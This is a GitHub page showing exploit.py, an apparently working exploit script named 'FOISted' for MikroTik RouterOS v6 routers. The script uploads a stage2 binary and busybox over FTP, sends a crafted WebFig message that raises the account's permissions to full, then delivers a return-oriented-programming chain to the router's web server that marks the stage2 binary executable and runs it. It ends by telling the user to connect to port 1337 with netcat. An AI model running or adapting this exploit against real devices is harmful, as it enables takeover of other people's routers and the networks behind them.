-
Notifications
You must be signed in to change notification settings - Fork 32
Expand file tree
/
Copy pathexploit.py
More file actions
520 lines (438 loc) · 16.2 KB
/
exploit.py
File metadata and controls
520 lines (438 loc) · 16.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
import argparse
from dataclasses import dataclass
import re
import subprocess
from pathlib import Path
import time
import requests
from ftplib import FTP
from webfig import WebFig
def p32(x):
return (x % 0x100000000).to_bytes(4, 'little')
class ROPgadget(object):
def __init__(self, file):
lines = subprocess.run(
f'ROPgadget --binary {file} --range 0x8050000-0x8060000',
shell=True,
stdout=subprocess.PIPE
).stdout.decode('ascii').split('\n')[2:-3]
parts = [x.split(' : ') for x in lines]
self.gadgets = {}
for a,b in parts:
self.gadgets[b] = int(a, 16)
@dataclass
class ROPContext(object):
g_ret = None
g_pop_edx_ebx_esi_edi_ebp = None
g_pop_eax_ebx_ebp = None
g_pop_ebx_ebp = None
g_pop_ebp = None
g_pop_esi_ebp = None
g_pop_edi_ebp = None
g_pop_edx_retf = None
# lea edx, [ebx + 0x10] ; push edx ; push esi ; call dword ptr [eax + 0x1c]
g_lea_edx = None
# pop edx ; pop ecx ; push esi ; push eax ; call edi
g_multi_edx = None
# mov ecx, dword ptr [ebp - 0x8c] ; je 0x80590c0 ; call eax
g_mov_ecx_dword_ptr_ebp = None
# add dword ptr [ebx + 0x5d5b14c4], eax ; ret
g_write_1 = None
# add ecx, ebx ; push ecx ; call eax
g_add_ecx_ebx = None
# mov dword ptr [<const>], ebx ; pop eax ; pop ebx ; pop ebp ; ret
g_write_const = None
p_gadget_const = None # <const>
# jmp dword ptr [esi - 0x39]
g_jmp_indirect_esi = None
# pop ecx ; push esi ; push eax ; call edi
g_pop_ecx_1 = None
# pop ecx ; pop ebx ; push esi ; push eax ; call edi
g_pop_ecx_2 = None
p_close_got = None
# ret <val>
g_ret_start = None
p_ret_start_val = None # <val>
# uClibc offsets from close
u_chmod_off = 0xb0a4
u_execve_off = 0x9c43
u_close_off = 0x9410
scratch_mem = 0x805e000
SCRATCH_MEM = [0x805e000, 0x0805d080]
def load_from_file(self, file):
print('[*] Loading gadgets from file', file)
rop = ROPgadget(file)
self.g_ret = rop.gadgets.get('ret')
self.g_pop_edx_ebx_esi_edi_ebp = rop.gadgets.get('pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret')
self.g_pop_eax_ebx_ebp = rop.gadgets.get('pop eax ; pop ebx ; pop ebp ; ret')
self.g_pop_ebx_ebp = rop.gadgets.get('pop ebx ; pop ebp ; ret')
self.g_pop_ebp = rop.gadgets.get('pop ebp ; ret')
self.g_pop_esi_ebp = rop.gadgets.get('pop esi ; pop ebp ; ret')
self.g_pop_edi_ebp = rop.gadgets.get('pop edi ; pop ebp ; ret')
self.g_pop_edx_retf = rop.gadgets.get('pop edx ; retf')
self.g_lea_edx = rop.gadgets.get('lea edx, [ebx + 0x10] ; push edx ; push esi ; call dword ptr [eax + 0x1c]')
self.g_multi_edx = rop.gadgets.get('pop edx ; pop ecx ; push esi ; push eax ; call edi')
self.g_write_1 = rop.gadgets.get('add dword ptr [ebx + 0x5d5b14c4], eax ; ret')
self.g_add_ecx_ebx = rop.gadgets.get('add ecx, ebx ; push ecx ; call eax')
self.g_jmp_indirect_esi = rop.gadgets.get('jmp dword ptr [esi - 0x39]')
self.g_pop_ecx_1 = rop.gadgets.get('pop ecx ; push esi ; push eax ; call edi')
self.g_pop_ecx_2 = rop.gadgets.get('pop ecx ; pop ebx ; push esi ; push eax ; call edi')
# Find variable gadgets
for g in rop.gadgets:
# write constant
m = re.match(r'mov dword ptr \[(.*)\], ebx ; pop eax ; pop ebx ; pop ebp ; ret', g)
if m is not None:
self.g_write_const = rop.gadgets.get(m.group())
self.p_gadget_const = int(m.groups()[0], 16)
# load dword
m = re.match(r'mov ecx, dword ptr \[ebp - 0x8c\] ; je .* ; call eax', g)
if m is not None:
self.g_mov_ecx_dword_ptr_ebp = rop.gadgets.get(m.group())
# ret start
m = re.match(r'ret (0x[0-9]+)', g)
if m is not None:
rval = int(m.groups()[0], 16)
if rval >= 0x500 and rval <= 0x600:
self.g_ret_start = rop.gadgets.get(m.group())
self.p_ret_start_val = rval
from pwn import ELF
e = ELF(file)
self.p_close_got = e.got['close']
def print_info(self):
print('\n=== Using gadgets: ===')
for x in dir(self):
if not x.startswith('_'):
a = getattr(self, x)
if type(a) is int:
print(x, hex(a))
print('======================\n')
def save_to_db(self, fpath):
out = ''
for x in dir(self):
if not x.startswith('_'):
a = getattr(self, x)
if type(a) is int:
out += f'{x} = {hex(a)}\n'
with open(fpath, 'w') as f:
f.write(out)
def load_from_db(self, fpath):
with open(fpath, 'r') as f:
info = f.read().strip().split('\n')
for line in info:
k, v = line.split(' = ')
setattr(self, k, int(v, 16))
def pop3(self) -> bytes:
return p32(self.g_pop_eax_ebx_ebp)
def write_32(self, addr, val) -> bytes:
rop = b''
if self.g_write_1 is not None:
rop += (
p32(self.g_pop_eax_ebx_ebp)
+ p32(val)
+ p32(addr - 0x5d5b14c4)
+ p32(0)
)
rop += p32(self.g_write_1)
else:
raise Exception("no write gadget")
return rop
def write_string(self, addr, str) -> bytes:
rop = b''
for i in range(0, len(str), 4):
rop += self.write_32(addr + i, int.from_bytes(str[i:i+4], 'little'))
return rop
def set_ecx(self, val) -> bytes:
rop = b''
if self.g_pop_ecx_1 is not None:
rop += (
p32(self.g_pop_edi_ebp)
+ self.pop3()
+ p32(0)
)
rop += (
p32(self.g_pop_ecx_1)
+ p32(val) # ecx
)
elif self.g_pop_ecx_2 is not None:
rop += (
p32(self.g_pop_edi_ebp)
+ self.pop3()
+ p32(0)
)
rop += (
p32(self.g_pop_ecx_2)
+ p32(val) # ecx
+ p32(0) # ebx
)
else:
raise Exception("no pop rcx gadget")
return rop
def set_ebx_uclibc_offset(self, offset) -> bytes:
rop = b''
if self.g_add_ecx_ebx is not None:
rop += (
p32(self.g_pop_eax_ebx_ebp)
+ p32(self.g_pop_ebp) # eax
+ p32(0) # ebx
+ p32(self.p_close_got + 0x8c) # ebp
)
rop += p32(self.g_mov_ecx_dword_ptr_ebp)
rop += (
p32(self.g_pop_eax_ebx_ebp)
+ p32(self.g_pop_eax_ebx_ebp) # eax
+ p32(offset) # ebx
+ p32(0) # ebp
)
rop += (
p32(self.g_add_ecx_ebx)
+ p32(0) # -> ebp
)
else:
raise Exception("no add gadget")
return rop
def set_edx_ebx(self, edx, ebx) -> bytes:
rop = b''
if self.g_pop_edx_ebx_esi_edi_ebp is not None:
rop += (
p32(self.g_pop_edx_ebx_esi_edi_ebp)
+ p32(edx) # edx
+ p32(ebx) # ebx
+ p32(0) # esi
+ p32(0) # edi
+ p32(0) # ebp
)
elif self.g_pop_edx_retf is not None:
rop += (
p32(self.g_pop_edx_retf)
+ p32(edx)
)
rop += (
p32(self.g_pop_ebx_ebp)
+ p32(0x73) # cs
+ p32(ebx)
+ p32(0)
)
elif self.g_lea_edx is not None:
rop += self.write_32(self.scratch_mem + 0x30, self.g_pop_eax_ebx_ebp)
rop += (
p32(self.g_pop_eax_ebx_ebp)
+ p32(self.scratch_mem + 0x30 - 0x1c) # eax
+ p32(edx - 0x10) # ebx
+ p32(0) # ebp
)
rop += p32(self.g_lea_edx)
rop += (
p32(self.g_pop_ebx_ebp)
+ p32(ebx)
+ p32(0)
)
elif self.g_multi_edx is not None and self.g_pop_ebx_ebp is not None:
rop += (
p32(self.g_pop_edi_ebp)
+ p32(self.g_pop_eax_ebx_ebp)
+ p32(0)
)
rop += (
p32(self.g_multi_edx)
+ p32(edx)
+ p32(0)
)
rop += (
p32(self.g_pop_ebx_ebp)
+ p32(ebx)
+ p32(0)
)
else:
raise Exception("no set edx, ebx")
return rop
def build_v1(self, use_json) -> bytes:
rop = b''
# ret sled
if use_json:
# json variant lies on the stack differently
rop += b'A'
else:
rop += b'AAA'
rop += p32(self.g_ret) * 0x40
rop += self.write_string(self.scratch_mem, b'/flash/rw/disk/stage2\x00')
### chmod("/flash/rw/disk/stage2", 0777)
rop += self.set_ebx_uclibc_offset(self.u_chmod_off - self.u_close_off)
rop += (
p32(self.g_write_const)
+ p32(0) # eax
+ p32(0) # ebx
+ p32(0) # ebp
)
rop += self.set_ecx(0o777)
rop += (
p32(self.g_pop_ebx_ebp)
+ p32(self.scratch_mem) # ebx
+ p32(0) # ebp
)
rop += (
p32(self.g_pop_esi_ebp)
+ p32(self.p_gadget_const + 0x39) # esi
+ p32(0) # ebp
)
rop += p32(self.g_jmp_indirect_esi)
rop += p32(0) + p32(0)
###
### execve("/flash/rw/disk/stage2", 0, 0)
rop += self.set_ebx_uclibc_offset(self.u_execve_off - self.u_close_off)
rop += (
p32(self.g_write_const)
+ p32(0) # eax
+ p32(0) # ebx
+ p32(0) # ebp
)
rop += self.set_ecx(0)
rop += self.set_edx_ebx(0, self.scratch_mem)
rop += (
p32(self.g_pop_esi_ebp)
+ p32(self.p_gadget_const + 0x39) # esi
+ p32(0) # ebp
)
rop += p32(self.g_jmp_indirect_esi)
###
return rop
def fingerprint_version(host) -> str:
print('[*] Checking version...')
try:
resp = requests.get(f'http://{host}', timeout=3).text
except:
print('[!] Host not up')
print('\nIf you previously ran the exploit, /nova/bin/www might be hanging. Try restarting the router.')
exit(0)
ver = re.findall(r'RouterOS v([0-9\.]+)', resp)[0]
return ver
def upload_bins(args):
print('[*] Uploading binaries...')
ftp = FTP(args.host)
ftp.login(user=args.username, passwd=args.password)
print(' -> stage2...')
with open('./stage2', 'rb') as f:
ftp.storbinary('STOR stage2', f)
print(' -> busybox...')
with open('./busybox', 'rb') as f:
ftp.storbinary('STOR busybox', f)
print(' done!')
def send_ropchain(args, rc: ROPContext, use_json: bool):
# Exploit will fail if scratch mem area is not zero'd.
# This is hard to predict, so we will iterate over a few good areas.
for alignment in range(4):
for scratch in rc.SCRATCH_MEM:
w = WebFig(args.host, args.username, args.password)
print(f'[*] Sending exploit... (scratch_mem=0x{scratch:x}, alignment={alignment})')
rc.scratch_mem = scratch
rop = rc.build_v1(use_json)
rop = (b'A' * alignment) + rop
# Message {
# 'SYS_TO': [70, 2],
# 'SYS_FROM': [],
# 'SYS_CMD': 0xffffffff,
# 0x11: ..., # pop ebp ; ret
# 0x13: ..., # ret <val>
# 0x17: ..., # ret
# 0x1: ropchain
# }
if not use_json:
msg = bytes.fromhex('4d320100ff88020046000000020000000200ff8000000700ff08ffffffff11000008')
msg += p32(rc.g_pop_ebp) # 0x11
msg += bytes.fromhex('13000008')
msg += p32(rc.g_ret_start) # 0x13
msg += bytes.fromhex('17000008')
msg += p32(rc.g_ret) # 0x17
msg += bytes.fromhex('01000030')
msg += len(rop).to_bytes(2, 'little')
msg += rop
r = w.send_raw(msg, ignore_response=True, timeout=2)
else:
msg = f'{{Uff0001:[70,2], Uff0002:[], uff0007: 4294967295, u11: {rc.g_pop_ebp}, u13: {rc.g_ret_start}, u17: {rc.g_ret}, r1: {repr(list(rop))}}}'
msg = msg.encode('ascii')
r = w.send_json(msg, ignore_response=True, timeout=2)
if r == 'timeout':
print('Hit timeout, probably worked.')
return
else:
# Wait for www to restart
print('[!] Will retry... waiting for www to come back online')
while True:
try:
print(' > ping')
requests.get(f'http://{args.host}')
break
except:
time.sleep(1)
def super_admin(args, use_json):
print('[*] Elevating permissions...')
# Message {
# 'SYS_TO': [13, 2],
# 'SYS_CMD': 0xfe0003, # CMD_SETOBJ
# 'STD_DESCR': '',
# 'STD_FILTER': 5,
# 'SYS_USER_ID': 1,
# 0xff0017: b'\x00\x1cB\x04\x0bI',
# 'STD_ID': 3,
# 1: 'full',
# 2: 0xffffffff,
# 3: 0x00000,
# 5: 0
# }
w = WebFig(args.host, args.username, args.password)
if not use_json:
msg = bytes.fromhex('4d320100ff8802000d000000020000000700ff080300fe000900fe21000c00fe09051000ff09011700ff3106001c42040b490100fe0903010000210466756c6c02000008ffffffff03000009000500000900')
w.send_raw(msg)
else:
msg = "{Uff0001: [13, 2], uff0007: 16646147, sfe0009: '', ufe000c: 5, uff0010: 1, rff0017: [0, 28, 66, 4, 11, 73], ufe0001: 3, s1: 'full', u2: 4294967295, u3: 0, u5: 0}"
msg = msg.encode('ascii')
w.send_json(msg)
def needs_json(ver):
# Binary format was introduced in 6.38
parts = ver.split('.')
m2 = int(parts[1])
return m2 <= 37
def main(args):
ver = ''
if args.version is not None:
ver = args.version
else:
ver = fingerprint_version(args.host)
print(f'[*] RouterOS version: {ver}')
maj = int(ver.split('.')[0])
if maj != 6:
print('[!] FOISted only works on RouterOS v6.x.x')
exit(-1)
# Load ROPContext from database or file
rc = ROPContext()
if args.file is not None:
print('[*] --file provided, will try to find gadgets...')
rc.load_from_file(args.file)
else:
info = Path(f'./db/{ver}.info')
if info.exists():
print('[*] Found in database...')
rc.load_from_db(info)
else:
print(f'[!] Could not find database entry for RouterOS version {ver}')
print('If you have /nova/bin/www for this version locally, rerun with --file=/path/to/nova/bin/www and I will try to find the right gadgets...')
exit(0)
use_json = needs_json(ver)
print(f'[*] Using message format: {"json" if use_json else "binary"}')
rc.print_info()
upload_bins(args)
super_admin(args, use_json)
send_ropchain(args, rc, use_json)
print(f'Run: \n$ nc {args.host} 1337')
if __name__=='__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-H', '--host', required=True)
parser.add_argument('-u', '--username', required=True)
parser.add_argument('-p', '--password', required=True)
parser.add_argument(
'-v', '--version',
required=False, default=None, type=str)
parser.add_argument(
'-f', '--file', required=False,
help='Path to /nova/bin/www')
args = parser.parse_args()
main(args)